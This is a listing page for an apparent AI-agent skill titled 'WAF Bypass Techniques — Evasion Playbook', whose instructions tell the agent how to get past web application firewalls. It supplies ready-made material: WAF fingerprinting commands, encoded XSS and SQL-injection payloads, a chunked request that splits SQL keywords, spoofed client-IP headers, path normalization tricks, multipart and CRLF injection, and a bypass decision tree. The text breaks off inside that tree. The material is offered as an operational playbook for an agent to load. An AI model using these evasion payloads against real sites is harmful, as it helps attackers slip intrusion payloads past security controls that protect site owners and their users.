- Skill ID
- yaklang/hack-skills/waf-bypass-techniques
- Publisher
- yaklang
- Repository
- hack-skills
- Installs
- 0
- Files
- 2
- Synced
- Sep 23, 2026
Open any RiverX project, open the Skills panel in the chat, and search for this identifier. The files are fetched from the source repository at install time.
yaklang/hack-skills/waf-bypass-techniquesInstalls these files- SKILL.md
- WAF_PRODUCT_MATRIX.md
What this skill tells the agent
SKILL: WAF Bypass Techniques — Evasion Playbook
AI LOAD INSTRUCTION: Covers WAF identification, generic bypass categories (encoding, protocol abuse, HTTP/2, parameter pollution), and a decision tree. For product-specific bypasses (Cloudflare, AWS WAF, ModSecurity, Akamai, etc.), load WAF_PRODUCT_MATRIX.md. Base models often suggest basic encoding but miss protocol-level bypasses and WAF behavioral quirks.
0. RELATED ROUTING
- sqli-sql-injection for payloads to deliver after bypassing WAF
- xss-cross-site-scripting for XSS payloads that need WAF evasion
- request-smuggling when smuggling can route requests around WAF entirely
- http-parameter-pollution HPP is itself a WAF bypass primitive
- csp-bypass-advanced when WAF blocks inline scripts but CSP bypass is available
- ghost-bits-cast-attack Java backends only — when every encoding trick above is blocked, use Ghost Bits: Java's 16-bit
charto 8-bitbytenarrowing produces 255 Unicode bypass variants per dangerous ASCII byte; re-enables WAF-patched CVEs in Tomcat, Spring, Jetty, Jackson, Fastjson, BCEL, and more
Product-Specific Reference
Load WAF_PRODUCT_MATRIX.md when you need per-product bypass techniques for Cloudflare, AWS WAF, ModSecurity CRS, Akamai, Imperva, F5 BIG-IP, or Sucuri.
1. PHASE 0 — IDENTIFY THE WAF
Before bypassing, know what you're fighting.
1.1 Tools
| Tool | Usage |
|---|---|
wafw00f target.com | Fingerprint WAF vendor from response headers/behavior |
nmap --script=http-waf-detect | NSE script for WAF detection |
| Manual header inspection | Server, X-CDN, X-Cache, cf-ray (Cloudflare), x-sucuri-id, x-akamai-* |
1.2 Behavioral Fingerprinting
1. Send benign request → record baseline response (status, headers, body size)
2. Send obvious attack: /?q=<script>alert(1)</script>
3. Compare: 403? Custom block page? Redirect? Connection reset?
4. Block page content reveals WAF: "Cloudflare", "Access Denied (Imperva)", "ModSecurity"
5. If transparent proxy: check response time difference (WAF adds latency)2. GENERIC BYPASS CATEGORIES
2.1 Encoding Bypasses
| Technique | Example | Bypasses |
|---|---|---|
| URL encoding | %3Cscript%3E | Basic string matching |
| Double URL encoding | %253Cscript%253E | WAFs that decode once, app decodes twice |
| Unicode encoding | %u003Cscript%u003E | IIS-specific Unicode normalization |
| HTML entities | <script> or <script> | WAFs not performing HTML entity decoding |
| Hex encoding (SQL) | 0x756E696F6E = union | WAFs matching SQL keywords |
| Octal encoding | \74script\76 | Rare but some parsers handle it |
| Overlong UTF-8 | %C0%BC (invalid encoding for <) | Legacy parsers with loose UTF-8 handling |
| Mixed case | SeLeCt, uNiOn | Case-sensitive rule matching |
| Null byte | sel%00ect | WAFs that stop parsing at null |
2.2 Chunked Transfer Encoding
Split the payload across HTTP chunks so no single chunk contains the blocked pattern:
POST /search HTTP/1.1
Transfer-Encoding: chunked
3
sel
3
ect
1
4
from
0
WAFs that inspect the full body may not reassemble chunks before matching.
2.3 HTTP/2 Binary Format Bypasses
HTTP/2 transmits headers as binary HPACK-encoded frames. Some WAFs only inspect after downgrading to HTTP/1.1:
- Header names can contain characters illegal in HTTP/1.1
- Pseudo-headers (
:method,:path) bypass header-based WAF rules - H2 → H1 downgrade may introduce request smuggling (see request-smuggling)
2.4 HTTP Parameter Pollution (HPP)
Different servers handle duplicate parameters differently:
| Server | Behavior for ?a=1&a=2 |
|---|---|
| PHP/Apache | Last value: a=2 |
| ASP.NET/IIS | Concatenated: a=1,2 |
| Python/Flask | First value: a=1 |
| Node.js/Express | Array: a=[1,2] |
WAF checks a=1 (benign), app uses a=2 (malicious). Or combine: a=sel&a=ect → ASP.NET sees a=sel,ect.
2.5 IP Source Spoofing (Bypass IP-Based Rules)
Headers trusted by some WAFs/apps for client IP:
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1Use case: WAF whitelists internal IPs or has different rule sets per source.
2.6 Path Normalization Tricks
| Technique | Example | Effect |
|---|---|---|
| Dot segments | /./admin or /../target/admin | WAF sees different path than app |
| Double slash | //admin | Some normalizers collapse, WAFs may not |
| URL encoding path | /%61dmin | WAF sees encoded, app decodes |
| Null byte in path | /admin%00.jpg | Legacy: app truncates at null, WAF sees .jpg |
| Backslash (IIS) | /admin\..\/secret | IIS treats \ as / |
| Trailing dot/space | /admin. or /admin%20 | OS-level normalization (Windows) |
| Semicolon (Tomcat) | /admin;jsessionid=x | Tomcat strips after ;, WAF may not |
2.7 Content-Type Manipulation
WAFs often have format-specific parsers. Switching Content-Type can bypass rules:
Default: Content-Type: application/x-www-form-urlencoded → WAF parses params
Switch: Content-Type: application/json → WAF may not parse JSON body
Switch: Content-Type: multipart/form-data → WAF may not inspect all parts
Switch: Content-Type: text/xml → WAF expects XML, payload in different formatTrick: If app accepts both JSON and form-urlencoded, use JSON — WAFs often have weaker JSON inspection rules.
2.8 Multipart Boundary Abuse
Content-Type: multipart/form-data; boundary=----WAFBypass
------WAFBypass
Content-Disposition: form-data; name="q"
<script>alert(1)</script>
------WAFBypass--Variations: long boundary strings, boundary with special characters, missing final boundary, nested multipart.
2.9 Newline & Whitespace Injection
-- SQL keyword splitting
SEL
ECT * FROM users
-- SQL comment insertion
SEL/**/ECT * FR/**/OM users
UN/**/ION SEL/**/ECT 1,2,3
-- Tab/vertical tab as separator
SELECT\t*\tFROM\tusers2.10 Keyword Splitting & Alternative Syntax
| Blocked | Alternative | ||
|---|---|---|---|
UNION SELECT | UNION ALL SELECT, UNION DISTINCT SELECT | ||
OR 1=1 | OR 2>1, OR 'a'='a', ` | 1` | |
<script> | <svg/onload=alert(1)>, <img src=x onerror=alert(1)> | ||
alert(1) | prompt(1), confirm(1), print() (Chrome) | ||
eval() | Function('code')(), setTimeout('code',0) | ||
' OR '1'='1 | ' OR 1-- -, `'\ | \ | '1` |
SLEEP(5) | BENCHMARK(5000000,SHA1('x')), pg_sleep(5) |
3. PROTOCOL-LEVEL BYPASS TECHNIQUES
3.1 Request Line Abuse
GET /path?q=attack HTTP/1.1 ← WAF inspectsvs.
GET http://target.com/path?q=attack HTTP/1.1 ← Absolute URI: some WAFs miss the path3.2 Header Injection via CRLF
If WAF inspects original headers but app processes injected ones:
X-Custom: value\r\nX-Forwarded-For: 127.0.0.13.3 Connection-State Bypass
1. Establish connection through WAF (normal request)
2. On same keep-alive connection, send attack request
3. Some WAFs reduce inspection on subsequent requests in same connection4. WAF BYPASS DECISION TREE
Payload blocked by WAF?
├── Identify WAF (wafw00f, response headers, block page)
│
├── Try encoding bypasses
│ ├── URL encode payload → still blocked?
│ ├── Double URL encode → still blocked?
│ ├── Unicode/overlong UTF-8 → still blocked?
│ ├── Mixed case keywords → still blocked?
│ └── HTML entities (for XSS) → still blocked?
│
├── Try protocol-level bypasses
│ ├── Switch Content-Type (JSON, multipart, XML)More from yaklang
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